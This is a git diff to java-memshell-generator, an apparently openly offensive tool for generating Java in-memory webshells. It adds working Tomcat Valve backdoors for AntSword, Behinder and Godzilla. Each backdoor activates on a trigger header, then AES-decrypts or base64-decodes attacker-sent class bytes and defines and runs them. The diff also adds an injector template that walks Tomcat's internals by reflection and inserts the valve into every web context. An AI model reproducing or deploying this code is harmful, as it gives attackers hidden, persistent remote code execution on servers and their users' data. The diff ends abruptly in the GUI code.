diff --git a/README.md b/README.md index cb984dc..2e42d9c 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ | Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 | | WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | | | Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | | -| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | | +| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | | | Undertow | | Custom | | JAR_AGENT | | | GlassFish | | | | JS | | | | | | | JSP | | diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java new file mode 100644 index 0000000..9847ffc --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java @@ -0,0 +1,87 @@ +package jmg.antsword.memshell; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + + +public class AntSwordValve extends ClassLoader implements Valve { + protected Valve next; + protected boolean asyncSupported; + + public String pass; + + public String headerName; + + public String headerValue; + + public AntSwordValve() { + } + + public AntSwordValve(ClassLoader c) { + super(c); + } + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName).contains(headerValue)) { + String cls = request.getParameter(pass); + if (cls != null) { + + byte[] data = base64Decode(cls); + URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); + clazz.newInstance().equals(new Object[]{request, response}); + } + }else { + // 重要: 没有这一步会将目标服务器打挂 + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } +} \ No newline at end of file diff --git a/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java index be013be..54a1963 100644 --- a/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java +++ b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java @@ -1,9 +1,6 @@ package jmg.antsword.util; -import jmg.antsword.memshell.AntSwordFilter; -import jmg.antsword.memshell.AntSwordJakartaFilter; -import jmg.antsword.memshell.AntSwordJakartaListener; -import jmg.antsword.memshell.AntSwordListener; +import jmg.antsword.memshell.*; import jmg.core.config.Constants; import java.util.HashMap; @@ -35,11 +32,14 @@ public class ShellUtil { SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName()); SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName()); SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName()); + SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName()); + Map antSwordMap = new HashMap(); - antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName()); + antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName()); antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName()); - antSwordMap.put(Constants.SHELL_JAKARTA_FILTER,AntSwordJakartaFilter.class.getSimpleName()); + antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName()); antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName()); + antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName()); toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap); } diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java new file mode 100644 index 0000000..d55aa94 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java @@ -0,0 +1,89 @@ +package jmg.behinder.memshell; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + + +public class BehinderValve extends ClassLoader implements Valve { + protected Valve next; + protected boolean asyncSupported; + + public String pass; + + public String headerName; + + public String headerValue; + + public BehinderValve() { + } + + public BehinderValve(ClassLoader c) { + super(c); + } + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName).contains(headerValue)) { + HttpSession session = (request.getSession()); + Map obj = new HashMap(); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + session.putValue("u", pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + (new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); + } else { + // 重要: 没有这一步会将目标服务器打挂 + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } +} \ No newline at end of file diff --git a/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java index d6a417d..b3cb54d 100644 --- a/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java +++ b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java @@ -33,6 +33,7 @@ public class ShellUtil { SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName()); SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName()); SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName()); + SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName()); Map behinderMap = new HashMap(); behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName()); @@ -40,6 +41,8 @@ public class ShellUtil { behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName()); behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName()); behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName()); + behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName()); + toolMap.put(Constants.TOOL_BEHINDER, behinderMap); } diff --git a/jmg-core/pom.xml b/jmg-core/pom.xml index 4011f3a..582c3c2 100644 --- a/jmg-core/pom.xml +++ b/jmg-core/pom.xml @@ -26,5 +26,56 @@ jakarta.servlet-api 5.0.0 + + org.apache.tomcat + tomcat-catalina + 8.5.58 + + + org.apache.tomcat + tomcat-api + + + org.apache.tomcat + tomcat-juli + + + org.apache.tomcat + tomcat-jni + + + org.apache.tomcat + tomcat-coyote + + + org.apache.tomcat + tomcat-util + + + org.apache.tomcat + tomcat-util-scan + + + org.apache.tomcat + tomcat-annotations-api + + + org.apache.tomcat + tomcat-el-api + + + org.apache.tomcat + tomcat-jsp-api + + + org.apache.tomcat + tomcat-servlet-api + + + org.apache.tomcat + tomcat-jaspic-api + + + diff --git a/jmg-core/src/main/java/jmg/core/config/Constants.java b/jmg-core/src/main/java/jmg/core/config/Constants.java index 193a4dd..68b36fd 100644 --- a/jmg-core/src/main/java/jmg/core/config/Constants.java +++ b/jmg-core/src/main/java/jmg/core/config/Constants.java @@ -2,7 +2,7 @@ package jmg.core.config; public class Constants { - public static final String JMG_VERSION = "1.0.8"; + public static final String JMG_VERSION = "1.0.8_240914"; public static final String JMG_NAME = "java-memshell-generator"; public static final String JMG_DESCRIPTION = "Java 内存马生成器"; diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatValveInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/TomcatValveInjectorTpl.java new file mode 100644 index 0000000..fdac780 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatValveInjectorTpl.java @@ -0,0 +1,243 @@ +package jmg.core.template; + + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Valve 注入器 + * Tested version: + * jdk v1.8.0_275 + * tomcat v8.5.83, v9.0.67 + */ +public class TomcatValveInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + + static { + new TomcatValveInjectorTpl(); + } + + public TomcatValveInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getValve(context); + if (valve == null) continue; + injectValve(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getValve(Object context) { + Object valve = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + valve = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + valve = clazz.newInstance(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + return valve; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + public boolean isInjected(Object context, String valveClassName) throws Exception { + Object obj = invokeMethod(context, "getPipeline"); + Object[] valves = (Object[]) invokeMethod(obj, "getValves"); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(valveClassName)) { + return true; + } + } + return false; + } + + public void injectValve(Object context, Object valve) throws Exception { + if (isInjected(context, valve.getClass().getName())) { + System.out.println(valve.getClass().getName() + "exist, skipping."); + return; + } + try { + Class ValveClass; + try { + ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve"); + } catch (Exception e) { + ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); + } + Object obj = invokeMethod(context, "getPipeline"); + // Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT); + // obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve); + invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java b/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java index 29d671e..3b4ddd8 100644 --- a/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java +++ b/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java @@ -63,6 +63,9 @@ public class ClassNameUtil { if (shellType.contains(Constants.SHELL_LISTENER)){ return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener"; } + if (shellType.contains(Constants.SHELL_VALVE)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Valve"; + } if (shellType.contains(Constants.SHELL_INTERCEPTOR)){ return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor"; } diff --git a/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java b/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java index 6be5e69..0458f66 100644 --- a/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java +++ b/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java @@ -56,11 +56,13 @@ public class InjectorUtil { INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName()); INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector",TomcatValveInjectorTpl.class.getName()); Map tomcatMap = new HashMap(); tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector"); tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector"); tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector"); tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector"); + tomcatMap.put(Constants.SHELL_VALVE,"TomcatValveInjector"); classMap.put(Constants.SERVER_TOMCAT, tomcatMap); diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaValve.java b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaValve.java new file mode 100644 index 0000000..d9fdacf --- /dev/null +++ b/jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaValve.java @@ -0,0 +1,153 @@ +package jmg.godzilla.memshell; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.math.BigInteger; +import java.security.MessageDigest; + + +public class GodzillaValve extends ClassLoader implements Valve { + protected Valve next; + protected boolean asyncSupported; + static String key; + static String pass; + + public String headerName; + + public String headerValue; + static String md5; + + static { + md5 = md5(pass + key); + } + + + public GodzillaValve() { + } + + public GodzillaValve(ClassLoader z) { + super(z); + md5 = md5(pass + key); + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + System.out.println(headerName + ":" + headerValue); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + }else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + + } + + public static String md5(String s) { + String ret = null; + try { + MessageDigest m = MessageDigest.getInstance("MD5"); + m.update(s.getBytes(), 0, s.length()); + ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); + } catch (Exception var3) { + } + return ret; + } + + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } +} \ No newline at end of file diff --git a/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java b/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java index 12621c5..8379cc1 100644 --- a/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java +++ b/jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java @@ -34,6 +34,7 @@ public class ShellUtil { SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName()); SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName()); SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName()); + SHELL_CLASSNAME_MAP.put(GodzillaValve.class.getSimpleName(), GodzillaValve.class.getName()); Map godzillaMap = new HashMap(); godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName()); @@ -42,6 +43,7 @@ public class ShellUtil { godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName()); godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName()); godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName()); + godzillaMap.put(Constants.SHELL_VALVE, GodzillaValve.class.getSimpleName()); toolMap.put(Constants.TOOL_GODZILLA, godzillaMap); } diff --git a/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java b/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java index 91e2edf..ef1a384 100644 --- a/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java +++ b/jmg-gui/src/main/java/jmg/gui/form/jMGForm.java @@ -21,9 +21,7 @@ import java.awt.event.ItemEvent; import java.awt.event.ItemListener; import java.io.File; import java.lang.reflect.Method; -import java.util.Locale; -import java.util.Map; -import java.util.ResourceBundle; +import java.util.*; public class jMGForm { private static JFrame frame; @@ -107,35 +105,70 @@ public class jMGForm { public jMGForm() { config = new AbstractConfig(); - String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER, Constants.SHELL_JAKARTA_FILTER}; - String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS}; - String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC}; - String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR}; - String[] handlerMethodServerBox = {Constants.SERVER_SPRING_WEBFLUX}; - String[] handlerMethodShellBox = {Constants.SHELL_WF_HANDLERMETHOD}; - String[] behinderServerBox = CommonUtil.concatenateArrays(servletApiServerBox, interceptorServerBox); - String[] behinderShellBox = CommonUtil.concatenateArrays(servletApiShellBox, interceptorShellBox); - String[] godzillaServerBox = CommonUtil.concatenateArrays(behinderServerBox, handlerMethodServerBox); - String[] godzillaShellBox = CommonUtil.concatenateArrays(behinderShellBox, handlerMethodShellBox); - String[] formatBoxForOther = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JS, Constants.FORMAT_JSP}; - String[] formatBoxForTomcat = new String[]{Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, Constants.FORMAT_JAR, Constants.FORMAT_JAR_AGENT, Constants.FORMAT_JS, Constants.FORMAT_JSP}; + ArrayList servletApiShellBox = new ArrayList<>(Arrays.asList( + Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER, Constants.SHELL_JAKARTA_FILTER, + Constants.SHELL_VALVE + )); - String[] exprEncoderBoxItems = new String[]{Constants.EXPR_EL, Constants.EXPR_SPEL, Constants.EXPR_OGNL, Constants.EXPR_FREEMARKER, Constants.EXPR_VELOCITY, Constants.EXPR_JS}; - String[] gadgetTypeBoxItems = new String[]{Constants.GADGET_JDK_TRANSLET, Constants.GADGET_SNAKEYAML, Constants.GADGET_FJ_GROOVY, Constants.GADGET_XALAN_TRANSLET}; + ArrayList servletApiServerBox = new ArrayList<>(Arrays.asList( + Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, + Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS + )); + + ArrayList interceptorServerBox = new ArrayList<>(Arrays.asList(Constants.SERVER_SPRING_MVC)); + ArrayList interceptorShellBox = new ArrayList<>(Arrays.asList(Constants.SHELL_INTERCEPTOR)); + ArrayList handlerMethodServerBox = new ArrayList<>(Arrays.asList(Constants.SERVER_SPRING_WEBFLUX)); + ArrayList handlerMethodShellBox = new ArrayList<>(Arrays.asList(Constants.SHELL_WF_HANDLERMETHOD)); + + ArrayList behinderServerBox = new ArrayList<>(); + behinderServerBox.addAll(servletApiServerBox); + behinderServerBox.addAll(interceptorServerBox); + + ArrayList behinderShellBox = new ArrayList<>(); + behinderShellBox.addAll(servletApiShellBox); + behinderShellBox.addAll(interceptorShellBox); + + ArrayList godzillaServerBox = new ArrayList<>(); + godzillaServerBox.addAll(behinderServerBox); + godzillaServerBox.addAll(handlerMethodServerBox); + + ArrayList godzillaShellBox = new ArrayList<>(); + godzillaShellBox.addAll(behinderShellBox); + godzillaShellBox.addAll(handlerMethodShellBox); + + ArrayList formatBoxForOther = new ArrayList<>(Arrays.asList( + Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, + Constants.FORMAT_JAR, Constants.FORMAT_JS, Constants.FORMAT_JSP + )); + + ArrayList formatBoxForTomcat = new ArrayList<>(Arrays.asList( + Constants.FORMAT_BASE64, Constants.FORMAT_BIGINTEGER, Constants.FORMAT_BCEL, Constants.FORMAT_CLASS, + Constants.FORMAT_JAR, Constants.FORMAT_JAR_AGENT, Constants.FORMAT_JS, Constants.FORMAT_JSP + )); + + ArrayList exprEncoderBoxItems = new ArrayList<>(Arrays.asList( + Constants.EXPR_EL, Constants.EXPR_SPEL, Constants.EXPR_OGNL, Constants.EXPR_FREEMARKER, Constants.EXPR_VELOCITY, Constants.EXPR_JS + )); + + ArrayList gadgetTypeBoxItems = new ArrayList<>(Arrays.asList( + Constants.GADGET_JDK_TRANSLET, Constants.GADGET_SNAKEYAML, Constants.GADGET_FJ_GROOVY, Constants.GADGET_XALAN_TRANSLET + )); + + // 设置模型 + formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat.toArray(new String[0]))); + serverBox.setModel(new DefaultComboBoxModel<>(behinderServerBox.toArray(new String[0]))); + shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox.toArray(new String[0]))); - formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat)); - 